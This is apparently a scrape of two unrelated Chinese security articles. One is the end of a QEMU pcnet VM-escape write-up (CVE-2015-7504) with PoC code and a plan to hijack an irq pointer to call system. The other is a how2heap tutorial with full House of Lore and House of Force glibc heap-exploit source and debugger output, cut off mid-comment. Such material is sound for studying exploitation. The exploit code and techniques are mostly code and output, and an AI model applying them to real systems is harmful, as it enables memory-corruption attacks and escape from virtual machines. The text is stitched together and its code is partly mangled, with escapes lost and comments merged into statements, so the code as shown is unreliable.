主要看`pcnet_csr_writew`函数，它被`pcnet_ioport_writew`调用，了io_port函数，可以去对程序流程进行分析了。
void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
PCNetState *s = opaque;
pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
printf("pcnet_ioport_writew addr=0x%08x val=0x%04x\n", addr, val);
#endif
if (!BCR_DWIO(s)) {
switch (addr & 0x0f) {
case 0x00: /* RDP */
pcnet_csr_writew(s, s->rap, val);
break;
case 0x02:
s->rap = val & 0x7f;
break;
case 0x06:
pcnet_bcr_writew(s, s->rap, val);
break;
}
}
pcnet_update_irq(s);
}
### 流程分析
因为流程中很多关键数据都是使用CSR（控制和状态寄存器）表示的，这些寄存器各个位的意义看起来又很麻烦，所以这次流程分析更多的是基于poc的流程。
先看网卡信息，I/O端口为`0xc140`，大小为32：
root@ubuntu:~# lspci -v -s 00:05.0
00:05.0 Ethernet controller: Advanced Micro Devices, Inc. [AMD] 79c970 [PCnet32 LANCE] (rev 10)
Flags: bus master, medium devsel, latency 0, IRQ 10
I/O ports at c140 [size=32]
Memory at febf2000 (32-bit, non-prefetchable) [size=32]
Expansion ROM at feb80000 [disabled] [size=256K]
Kernel driver in use: pcnet32
lspci: Unable to load libkmod resources: error -12
再看`./hw/net/pcnet-pci.c`中的`realize`函数中的pmio空间的相关声明：
memory_region_init_io(&d->io_bar, OBJECT(d), &pcnet_io_ops, s, "pcnet-io",
PCNET_IOPORT_SIZE);
#define PCNET_IOPORT_SIZE 0x20
static const MemoryRegionOps pcnet_io_ops = {
.read = pcnet_ioport_read,
.write = pcnet_ioport_write,
.endianness = DEVICE_LITTLE_ENDIAN,
};
static void pcnet_ioport_write(void *opaque, hwaddr addr,
uint64_t data, unsigned size)
{
PCNetState *d = opaque;
trace_pcnet_ioport_write(opaque, addr, data, size);
if (addr < 0x10) {
...
}
}
static uint64_t pcnet_ioport_read(void *opaque, hwaddr addr,
unsigned size)
{
PCNetState *d = opaque;
trace_pcnet_ioport_read(opaque, addr, size);
if (addr < 0x10) {
...
}
} else {
if (size == 2) {
return pcnet_ioport_readw(d, addr);
} else if (size == 4) {
return pcnet_ioport_readl(d, addr);
}
}
return ((uint64_t)1 << (size * 8)) - 1;
}
可以看到当addr大于0x10时，会根据size的大小调用相对应的`pcnet_ioport_readw`以及`pcnet_ioport_readl`。
poc中关键代码如下：
/* soft reset */
inl(PCNET_PORT + 0x18);
inw(PCNET_PORT + RST);
/* set swstyle */
outw(58, PCNET_PORT + RAP);
outw(0x0102, PCNET_PORT + RDP);
/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);
/* init and start */
outw(0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);
sleep(2);
pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
PCNET_BUFFER_SIZE);
首先是先调用`inl`以及`inw`去初始化网卡，在`readw`中0x14对应的会调用`pcnet_s_reset`函数，`readl`函数中`0x18`也会调用该函数。该函数会将网卡进行初始化，包括设置为16位模式以及设置状态为stop状态等。
static void pcnet_s_reset(PCNetState *s)
{
trace_pcnet_s_reset(s);
s->rdra = 0;
s->tdra = 0;
s->rap = 0;
s->bcr[BCR_BSBC] &= ~0x0080; //设置16位模式
s->csr[0] = 0x0004; //设置state为stop状态
...
s->tx_busy = 0;
}
先看下`pcnet_ioport_writew`的定义：
void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
PCNetState *s = opaque;
pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
printf("pcnet_ioport_writew addr=0x%08x val=0x%04x\n", addr, val);
#endif
if (!BCR_DWIO(s)) {
switch (addr & 0x0f) {
case 0x00: /* RDP */
pcnet_csr_writew(s, s->rap, val);
break;
case 0x02:
s->rap = val & 0x7f;
break;
case 0x06:
pcnet_bcr_writew(s, s->rap, val);
break;
}
}
pcnet_update_irq(s);
}
static void pcnet_csr_writew(PCNetState *s, uint32_t rap, uint32_t new_value)
{
uint16_t val = new_value;
#ifdef PCNET_DEBUG_CSR
printf("pcnet_csr_writew rap=%d val=0x%04x\n", rap, val);
#endif
switch (rap) {
case 0:
s->csr[0] &= ~(val & 0x7f00); /* Clear any interrupt flags */
s->csr[0] = (s->csr[0] & ~0x0040) | (val & 0x0048);
val = (val & 0x007f) | (s->csr[0] & 0x7f00);
/* IFF STOP, STRT and INIT are set, clear STRT and INIT */
if ((val&7) == 7)
val &= ~3;
if (!CSR_STOP(s) && (val & 4))
pcnet_stop(s);
if (!CSR_INIT(s) && (val & 1))
pcnet_init(s);
if (!CSR_STRT(s) && (val & 2))
pcnet_start(s);
if (CSR_TDMD(s))
pcnet_transmit(s);
return;
...
s->csr[rap] = val; //设置csr寄存器值
}
可以看到我们可以通过设置`addr`为`0x12`来设置`s->rap`，然后再通过addr为`0x10`或`0x16`来操作`csr`寄存器或`bcr`寄存器，而设置好的`s->rap`则是`csr`寄存器或`bcr`寄存器的索引。
因此操作都需要两条指令才能进行，先通过`s->rap`设置好索引，再去操作相应的寄存器，如poc中需要将pcnet的配置结构体传递给网卡，需要将该结构体物理地址赋值给`csr[1]`以及`csr[2]`，则需要先将`s->rap`设置为`1`再去将地址的值赋值：
/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);
配置好网卡后，通过`pcnet_init`以及`pcnet_start`将网卡启动起来，再将构造的数据发送出去就触发了漏洞。
## 漏洞利用
该漏洞的利用需要结合之前`cve-2015-5165`的信息泄露，基于信息泄露得到了程序基址以及相应的堆地址后，便可实现任意代码执行。
先看内存结构原有的内存结构，将断点下在`pcnet_receive`函数，运行poc：
pwndbg> print s
$2 = (PCNetState *) 0x5565a78d0840
pwndbg> vmmap s
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]
pwndbg> print s->irq
$3 = (qemu_irq) 0x5565a78d6740
pwndbg> vmmap s->irq
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]
pwndbg> print &s->buffer
$5 = (uint8_t (*)[4096]) 0x5565a78d2ad0
pwndbg> vmmap &s->buffer
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]
可以看到`irq`指针的值为堆地址，而我们可控的网卡的数据也在堆上。
利用思路就比较清楚了，将`irq`指针的低四位覆盖指向`s->buffer`中的某处，并在该处伪造好相应的`irq`结构体,如将`handler`伪造为`system
plt`的地址，将`opaque`伪造为堆中参数`cat flag`的地址。
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
`system plt`地址可通过`objdump`获得：
$ objdump -d -j .plt ./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 | grep system
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64: file format elf64-x86-64
000000000009cf90 <system@plt>:
9cf90: ff 25 a2 14 7d 00 jmpq *0x7d14a2(%rip) # 86e438 <system@GLIBC_2.2.5>
需要提一下的是，[QEMU Case Study](http://www.phrack.org/papers/vm-escape-qemu-case-study.html)中则是调用`mprotect`函数来先将内存设置为可执行，然后再执行shellcode。但是看起来似乎无法控制第三个参数的值，因为`level`是由父函数`pcnet_update_irq`传递过来的：
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
该文章中的解决方法是构造了两个`irq`，第一个函数指针指向了`qemu_set_irq`，将`opque`设置为第二个`irq`的地址，`irq->n`设置为`7`；第二个`irq`则将`handler`设置为`mprotect`，`opaque`设置为对应的地址，`n`设置为相应的地址，以此来实现第三个参数的控制。当mprotect成功执行后，再通过网卡数据的设置，控制执行流重新执行shellcode的地址，实现利用。
## 小结
两个很经典的漏洞结合实现了任意代码执行，值得学习。
相应的脚本和文件[链接](https://github.com/ray-cp/vm-escape/tree/master/qemu-escape/cve-2015-5165_and_cve-2015-7504)
## 参考链接
1. [[翻译]虚拟机逃逸——QEMU的案例分析（一）](https://bbs.pediy.com/thread-217997.htm)
2. [[翻译]虚拟机逃逸——QEMU的案例分析（二）](https://bbs.pediy.com/thread-217999.htm)
3. [[翻译]虚拟机逃逸——QEMU的案例分析（三）](https://bbs.pediy.com/thread-218045.htm)
4. [QEMU Case Study](http://www.phrack.org/papers/vm-escape-qemu-case-study.html)
5. [qemu 逃逸漏洞解析CVE-2015-5165 和 CVE-2015-7504 漏洞原理与利用](http://jiayy.me/2019/04/15/CVE-2015-5165-7504/)
6. [【漏洞分析】前往黑暗之门！Debugee in QEMU](https://www.anquanke.com/post/id/86636)
7. [Reversing CRC](https://blog.affien.com/archives/2005/07/15/reversing-crc/)
* * * | 社区文章 |
# how2heap之house of lore && house of force
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 欢迎各位喜欢安全的小伙伴们加入星盟安全 UVEgZ3JvdXA6IDU3MDI5NTQ2MQ==
>
> 本文包含 house of lore,house of force
PS:由于本人才疏学浅,文中可能会有一些理解的不对的地方,欢迎各位斧正 🙂
## house of lore
### 序
我们的house of lore其实就是利用了small bin的机制而导致的任意地址分配,所利用的地方就是
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[ ... ]
我们需要做的,就是将small bin的bk指针指向我们的fake
chunk,也就是控制bck,但是要注意的是bck->fd!=victim这个地方需要绕过
关于small bin在最2.29中其实还有一种攻击方法,但是这里就不再详述了
这里要注意一下的就是程序推荐在ubuntu 14.04 32位机上测试,但我是在ubuntu 16.04的64位机上测试的,所以会有一些出入,但其实问题不大
### 源代码
这里我就不删了,只加了一点注释
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[ ... ]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
fprintf(stderr, "nWelcome to the House of Loren");
//这个版本也可以绕过glibc malloc引入的强化检查
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc mallocn"); fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23nn");
//分配victim chunk(100)
fprintf(stderr, "Allocating the victim chunkn");
intptr_t *victim = malloc(100);
//这时堆上的第一个small chunk
fprintf(stderr, "Allocated the first small chunk on the heap at %pn", victim);
//我们需要去掉头部大小才能得到真正的victim地址
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %pn", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %pn", (void*)stack_buffer_2);
//在栈上创建一个fake chunk
fprintf(stderr, "Create a fake chunk on the stackn");
//我们把fwd指针指向victim_chunk来绕过第二个malloc到最后一个malloc上small bin corrupted的检查,这样就可以将我们的栈地址写到small bin list里了
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin listn");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
//将我们的bk指针指向stack_buffer_2并且将stack_buffer_2的fwd指针指向stack_buffer_1来绕过最后一个malloc上small bin corrupted的检查,这样就可以在栈上返回一个假的chunk
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buff er_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " "chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
//分配另一个large bin来避免small bin在free的时候与top chunk合并
fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %pn", p5);
//free顶块,此时会将它放进unsorted bin中
fprintf(stderr, "Freeing ttop he chunk %p, it will be inserted in the unsorted binn", victim);
free((void*)victim);
//在unsorted bin中,victim的fwd和bk指针都是0
fprintf(stderr, "nIn the unsorted bin the victim's fwd and bk pointers are niln");
fprintf(stderr, "victim->fwd: %pn", (void *)victim[0]);
fprintf(stderr, "victim->bk: %pnn", (void *)victim[1]);
//现在调用一个不会被unsorted bin或者small bin处理的malloc
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small binn");
//这也意味着chunk victim会被插入到smallbin的最前面
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBinn", victim);
void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %pn", p2 );
//victim chunk已经被排序并且他的fwd和bk指针也被更新了
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updatedn");
fprintf(stderr, "victim->fwd: %pn", (void *)victim[0]);
fprintf(stderr, "victim->bk: %pnn", (void *)victim[1]);
//------------VULNERABILITY----------- //现在假设我们有一个漏洞可以覆盖victim->bk指针
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointern");
//victim->bk正指向栈上
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------ //现在我们分配一个和我们第一次free大小一样的chunk
fprintf(stderr, "Now allocating a chunk with size equal to the first one freedn");
//这个操作将会给我们返回已经被覆写的victim chunk并且将bin->bk指向被注入的victim->bk指针
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointern");
void *p3 = malloc(100);
//这个最后一次的malloc将欺骗glibc malloc返回一个在bin->bk中被注入的chunk
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bkn");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)n");
//而stack_buffer_2的fwd指针也在最后一次的malloc中被修改了
fprintf(stderr, "nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %pn",
stack_buffer_2[2]);
fprintf(stderr, "np4 is %p and should be on the stack!n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}
### 运行结果
Welcome to the House of Lore
This is a revisited version that bypass also the hardening check introduced by glibc malloc
This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23
Allocating the victim chunk
Allocated the first small chunk on the heap at 0x81c010
stack_buffer_1 at 0x7ffeea058c50
stack_buffer_2 at 0x7ffeea058c30
Create a fake chunk on the stack
Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corruptedin second to the last malloc, which putting stack address on smallbin list
Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake chunk on stackAllocating another large chunk in order to avoid consolidating the top chunk withthe small one during the free()
Allocated the large chunk on the heap at 0x81c080
Freeing the chunk 0x81c010, it will be inserted in the unsorted bin
In the unsorted bin the victim's fwd and bk pointers are nil
victim->fwd: (nil)
victim->bk: (nil)
Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin
This means that the chunk 0x81c010 will be inserted in front of the SmallBin
The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to 0x81c470
The victim chunk has been sorted and its fwd and bk pointers updated
victim->fwd: 0x7f5b68740bd8
victim->bk: 0x7f5b68740bd8
Now emulating a vulnerability that can overwrite the victim->bk pointer
Now allocating a chunk with size equal to the first one freed
This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer
This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk
p4 = malloc(100)
The fwd pointer of stack_buffer_2 has changed after the last malloc to 0x7f5b68740bd8
p4 is 0x7ffeea058c60 and should be on the stack!
Nice jump d00d
### 关键代码调试
断点如下:
42 intptr_t *victim = malloc(100);
► 43 fprintf(stderr, "Allocated the first small chunk on the heap at %pn", victim);
54 stack_buffer_1[0] = 0;
55 stack_buffer_1[1] = 0;
56 stack_buffer_1[2] = victim_chunk;
57
► 58 fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
61 stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
62 stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
63
► 64 fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
66 void *p5 = malloc(1000);
► 67 fprintf(stderr, "Allocated the large chunk on the heap at %pn", p5);
71 free((void*)victim);
72
► 73 fprintf(stderr, "nIn the unsorted bin the victim's fwd and bk pointers are niln");
80 void *p2 = malloc(1200);
► 81 fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %pn", p2);
91 victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
92
93 //------------------------------------ 94
► 95 fprintf(stderr, "Now allocating a chunk with size equal to the first one freedn");
98 void *p3 = malloc(100);
99
100
► 101 fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bkn");
102 char *p4 = malloc(100);
► 103 fprintf(stderr, "p4 = malloc(100)n");
109 intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
110 memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
► 111 }
下面直接运行,首先是malloc 了victim
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603070 PREV_INUSE {
prev_size = 0,
size = 135057,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> p stack_buffer_1
$1 = {0x0, 0x0, 0x0, 0x0}
pwndbg> p stack_buffer_2
$2 = {0x0, 0x0, 0x0}
pwndbg> p &stack_buffer_1
$3 = (intptr_t *(*)[4]) 0x7fffffffe620
pwndbg> p &stack_buffer_2
$4 = (intptr_t *(*)[3]) 0x7fffffffe600
然后程序修改了stack_buffer_1的值
pwndbg> p stack_buffer_1
$5 = {0x0, 0x0, 0x603000, 0x0}
//我们所伪造的stack_buffer_1
$6 = {
prev_size = 0,
size = 0,
fd = 0x603000,
bk = 0x0,
fd_nextsize = 0x7fffffffe730,
bk_nextsize = 0x2f7024547d2ca600
}
第二次修改
$7 = {
prev_size = 0,
size = 0,
fd = 0x603000,
bk = 0x7fffffffe600,
fd_nextsize = 0x7fffffffe730,
bk_nextsize = 0x2f7024547d2ca600
}
pwndbg> p stack_buffer_1
$8 = {0x0, 0x0, 0x603000, 0x7fffffffe600}
现在分配了p5来避免free victim的时候被合并到top chunk中
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603070 PREV_INUSE {
prev_size = 0,
size = 1009,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603460 PREV_INUSE {
prev_size = 0,
size = 134049,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
紧接着free掉了victim，此时我们的victim被放进了fast bin中
为什么是fast bin而不是程序中所说的unsorted bin这里我说一下，程序原本希望在32位机上测试的，但我的机子是64位的，100的chunk <
max_fast(128)所以被放进了fastbin中，但如果是32位机子的话，100>max_fast(64)因此被放入了unsorted bin中 )
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603000 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
现在就需要我们分配一个既不是unsorted bin又不是small bin的chunk了，一个超大的chunk会从top
chunk里分一块出来，然后系统会把unsorted bin中的chunk塞入属于他的bins中
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x7ffff7dd1bd8 <main_arena+184>,
bk = 0x7ffff7dd1bd8 <main_arena+184>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603070 {
prev_size = 112,
size = 1008,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603460 PREV_INUSE {
prev_size = 0,
size = 1217,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603920 PREV_INUSE {
prev_size = 0,
size = 132833,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
largebins
empty
可以看到我们的victim已经被放到了small bins中，那么对为什么victim不在unsorted bin中却在small
bin中不了解的同学建议还是去看glibc内存管理的机制，这里我简单说一下
如果是32位机子会直接从unsorted bin中被扔进small bins，但是64位多了几个步骤
因为我们分配了1200的大内存，ptmalloc会先从fastbin中找，然后依次在unsorted bin,small
bin中查找看看有没有符合的chunk，因为我们没有符合的chunk，所以ptmalloc会把fastbin的chunk合并，然后放到unsorted
bin中，再从unsorted bin中查找，发现还是不符合，就会把unsorted
bin中的chunk放入属于他的bins中，此时我们的victim就被放进了small bin中了
好了，现在我们的victim已经被放到small bin中了，现在我们更改victim的bk指针指针，让他指向栈上
pwndbg> x/10gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000071
0x603010: 0x00007ffff7dd1bd8 0x00007fffffffe620
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
pwndbg> p &stack_buffer_1
$10 = (intptr_t *(*)[4]) 0x7fffffffe620
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x603000 —▸ 0x7fffffffe620 —▸ 0x7fffffffe600 —▸ 0x400c4d (__libc_csu_init+77) ◂— nop
largebins
empty
可以看到我们已经伪造成功了，bk指针已经指到了我们的栈上
现在我们再申请一个victim一样大小的chunk,因为small bin是FIFO,所以头会被取出
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe620 —▸ 0x7fffffffe600 —▸ 0x400c4d (__libc_csu_init+77) ◂— nop
largebins
empty
现在我们再申请一个chunk就可以取到栈上的chunk了
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe600 —▸ 0x400c4d (__libc_csu_init+77) ◂— nop
largebins
empty
### 总结
程序首先在栈上定义了两个变量,stack_buffer_1[4],stack_buffer_2[3]
随后在栈上创建了一个fake chunk,将stack_buffer_1的fwd指针指向了victim_chunk
随后将stack_buffere_1的bk指针指向了stack_buffer_2,将stack_buffer_2的fwd指针指向了stack_buffer_1来绕过检查
之后为了将我们的victim放进我们的small bin中,申请一个超大的chunk
在victim被放进了small bin后,我们只需要覆盖victim的bk指针指向我们的stack_buffer_1即可
现在我们再分配一个大小为100的chunk,系统就会把victim返回给我们,但此时small bin中还有我们依旧伪造好的fake chunk
此时再分配就可以将我们的fake chunk拿出来了
## house of force
### 序
我们所说的house of force就是利用一个巨大的数来改写top chunk的size
这样就可以通过建立一个evil_size大小的chunk来使得我们的av->top指向我们想控制的地方
此时下一次分配就可以成功控制那块内存了
### 源代码
这里我也删了一些作者的话,加了一小点注释
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
//bss_var是我们要覆写的string
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
fprintf(stderr, "nWelcome to the House of Forcenn");
//House of Force是覆写top chunk来分配任意内存地址的攻击方法
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.n");
//top chunk是一个特殊的chunk,是内存中最后一块chunk,在向系统申请更多空间的情况下将会更改size的大小
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.n");
//在最后,我们将会使用这个方法来覆写bss_var的值
fprintf(stderr, "nIn the end, we will use this to overwrite a variable at %p.n", bss_var);
fprintf(stderr, "Its current value is: %sn", bss_var);
//先分配一个chunk p1(256)
fprintf(stderr, "nLet's allocate the first chunk, taking space from the wilderness.n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.n", p1 - 2);
//现在堆由两个chunk组成,一个是我们分配的,另一个就是top chunk
fprintf(stderr, "nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.n", real_size + sizeof(long)*2);
//现在假设我们有一个漏洞可以覆盖top chunk的大小
fprintf(stderr, "nNow let's emulate a vulnerability that can overwrite the header of the Top Chunkn");
//----- VULNERABILITY ---- intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "nThe top chunk starts at %pn", ptr_top);
//用一个超大的值来覆盖top chunk以让我们可以确保malloc永远不会调用mmap来申请空间
fprintf(stderr, "nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.n");
fprintf(stderr, "Old size of top chunk %#llxn", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llxn", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------
//现在我们的top chunk的size巨大非凡,我们可以随意申请内存而不会调用mmap
fprintf(stderr, "nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.n"
//下面,我们将通过整数溢出分配一个直达我们所需区域的,之后就可以在我们所需区域处分配一个chunk出来
"Next, we will allocate a chunk that will get us right up against the desired region (with an integern"
"overflow) and will then be able to allocate a chunk right over the desired region.n");
/*
我们所需的size是这么计算的:
nb是我们要求的size+元数据
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,n"
"we will malloc %#lx bytes.n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
按预期,新的指针和旧的top chuk在同一位置
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %pn", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100);
//现在,我们覆写的下一个chunk将指向我们的目标buffer
fprintf(stderr, "nNow, the next chunk we overwrite will point at our target buffer.n");
fprintf(stderr, "malloc(100) => %p!n", ctr_chunk);
//现在,我们终于可以覆写这个值啦!
fprintf(stderr, "Now, we can finally overwrite that value:n");
fprintf(stderr, "... old string: %sn", bss_var);
fprintf(stderr, "... doing strcpy overwrite with "YEAH!!!"...n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %sn", bss_var);
//一些进一步的总结
// some further discussion:
//这个被控制的malloc将会在参数为ebil_size=malloc_got_address-8-p2_gussed时被调用
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessednn");
//这个是因为main_arena->top指针被设为了 av->top + malloc_size,并且我们想要将这个地址设置为malloc_got_address - 8的地址
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we nwant to set this result to the address of malloc_got_address-8nn");
//为了做这件事,我们让 malloc_got_address - 8= p2_gussed+evil_size
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_sizenn");
//av->top在分配了这个大的malloc了之后将被设置为malloc_got_address -8
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8nn");
//再调用一次新的malloc的时候将返回av->top+8并且返回一个在(malloc_got_address-8)+8=malloc_got_address的chunk
